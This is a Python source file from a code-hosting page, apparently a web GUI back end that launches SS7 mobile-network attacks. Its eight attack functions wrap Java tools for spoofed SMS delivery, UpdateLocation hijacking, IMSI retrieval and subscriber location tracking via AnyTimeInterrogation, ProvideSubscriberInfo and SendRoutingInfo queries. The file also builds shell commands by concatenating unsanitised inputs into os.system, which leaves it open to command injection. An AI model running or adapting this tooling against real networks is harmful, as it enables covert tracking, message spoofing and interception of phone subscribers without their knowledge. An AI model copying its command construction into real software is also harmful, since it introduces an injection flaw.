-
Notifications
You must be signed in to change notification settings - Fork 9
/
attack_gui_web.py
120 lines (75 loc) · 5.1 KB
/
attack_gui_web.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
import os
import subprocess as sp
ipinng: str = str(sp.getoutput('ip address'))
def attack_MTForwardSMSResp(client_ip,client_port,server_ip,server_port,Network_Indicator,Target_MSC,Target_IMSI,locael_GT,SMSC_GT,Sender_Name,SMS_Content):
p0 = os.system("rm *.xml")
p0 = os.system("rm outingss7.txt")
if(client_ip not in ipinng):
os.system("ip address add "+client_ip+" dev lo")
if(server_ip not in ipinng):
os.system("ip address add "+server_ip+" dev lo")
p=os.system("java -jar ./mtsms/MTForwardSMS.jar 1 2 "+" "+client_ip+" "+ client_port+" "+ server_ip+" "+ server_port+" "+Network_Indicator+" "+Target_IMSI+" "+Target_MSC+" "+locael_GT+" "+SMSC_GT+" "+Sender_Name+" "+SMS_Content)
p2 = os.system("pkill java")
def attack_SendIMSI(client_ip,client_port,server_ip,server_port,Network_Indicator,Targer_MSISDN,locael_GT):
p0 = os.system("rm *.xml")
p0 = os.system("rm outingss7.txt")
if(client_ip not in ipinng):
os.system("ip address add "+client_ip+" dev lo")
if(server_ip not in ipinng):
os.system("ip address add "+server_ip+" dev lo")
p=os.system("java -jar ./simsi/SendIMSI.jar 1 2 "+" "+client_ip+" "+ client_port+" "+ server_ip+" "+ server_port+" "+Network_Indicator+" "+locael_GT+" "+Targer_MSISDN)
p2 = os.system("pkill java")
def attack_UpdateLocation(client_ip,client_port,server_ip,server_port,Network_Indicator,Target_IMSI,Targer_IMSI_MGT,locael_GT,locael_vlr):
p0 = os.system("rm *.xml")
p0 = os.system("rm outingss7.txt")
if(client_ip not in ipinng):
os.system("ip address add "+client_ip+" dev lo")
if(server_ip not in ipinng):
os.system("ip address add "+server_ip+" dev lo")
p=os.system("java -jar ./UpdateLocation/UpdateLocation.jar 1 2 "+" "+client_ip+" "+ client_port+" "+ server_ip+" "+ server_port+" "+Network_Indicator+" "+Target_IMSI+" "+Targer_IMSI_MGT+" "+locael_GT+" "+locael_vlr+" n")
p2 = os.system("pkill java")
def attack_tracking_AnyTimeInterrogation(client_ip,client_port,server_ip,server_port,Network_Indicator,Targer_MSISDN,locael_GT):
p0 = os.system("rm *.xml")
p0 = os.system("rm outingss7.txt")
if(client_ip not in ipinng):
os.system("ip address add "+client_ip+" dev lo")
if(server_ip not in ipinng):
os.system("ip address add "+server_ip+" dev lo")
p=os.system("java -jar ./tracking/ati/AnyTimeInterrogation.jar 1 2 "+" "+client_ip+" "+ client_port+" "+ server_ip+" "+ server_port+" "+Network_Indicator+" "+Targer_MSISDN+" "+locael_GT)
p2 = os.system("pkill java")
def attack_tracking_ProvideSubscriberInfo(client_ip,client_port,server_ip,server_port,Network_Indicator,Targer_MSISDN,Targer_HLR,Targer_IMSI):
p0 = os.system("rm *.xml")
p0 = os.system("rm outingss7.txt")
if(client_ip not in ipinng):
os.system("ip address add "+client_ip+" dev lo")
if(server_ip not in ipinng):
os.system("ip address add "+server_ip+" dev lo")
p=os.system("java -jar ./tracking/psi/ProvideSubscriberInfo.jar 1 2 "+" "+client_ip+" "+ client_port+" "+ server_ip+" "+ server_port+" "+Network_Indicator+" "+Targer_MSISDN+" "+Targer_IMSI+" "+Targer_HLR)
p2 = os.system("pkill java")
def attack_tracking_SendRoutingInfo(client_ip,client_port,server_ip,server_port,Network_Indicator,Targer_MSISDN,locael_MSC):
p0 = os.system("rm *.xml")
p0 = os.system("rm outingss7.txt")
if(client_ip not in ipinng):
os.system("ip address add "+client_ip+" dev lo")
if(server_ip not in ipinng):
os.system("ip address add "+server_ip+" dev lo")
p=os.system("java -jar ./tracking/sri/SendRoutingInfo.jar 1 2 "+" "+client_ip+" "+ client_port+" "+ server_ip+" "+ server_port+" "+Network_Indicator+" "+Targer_MSISDN+" "+locael_MSC)
p2 = os.system("pkill java")
def attack_tracking_SendRoutingInfoForGPRS(client_ip,client_port,server_ip,server_port,Network_Indicator,Targer_IMSI,Targer_HLR,Targer_GGSN):
p0 = os.system("rm *.xml")
p0 = os.system("rm outingss7.txt")
if(client_ip not in ipinng):
os.system("ip address add "+client_ip+" dev lo")
if(server_ip not in ipinng):
os.system("ip address add "+server_ip+" dev lo")
p=os.system("java -jar ./tracking/srigprs/SendRoutingInfoForGPRS.jar 1 2 "+" "+client_ip+" "+ client_port+" "+ server_ip+" "+ server_port+" "+Network_Indicator+" "+Targer_IMSI+" "+Targer_HLR+" "+Targer_GGSN)
p2 = os.system("pkill java")
def attack_tracking_SendRoutingInfoForSM(client_ip,client_port,server_ip,server_port,Network_Indicator,Targer_HLR,Targer_MSISDN,Targer_MSC,Targer_SMSC):
p0 = os.system("rm *.xml")
p0 = os.system("rm outingss7.txt")
if(client_ip not in ipinng):
os.system("ip address add "+client_ip+" dev lo")
if(server_ip not in ipinng):
os.system("ip address add "+server_ip+" dev lo")
p=os.system("java -jar ./tracking/srism/SendRoutingInfoForSM.jar 1 2 "+" "+client_ip+" "+ client_port+" "+ server_ip+" "+ server_port+" "+Network_Indicator+" "+Targer_MSISDN+" "+Targer_HLR+" "+Targer_MSC+" "+Targer_SMSC)
p2 = os.system("pkill java")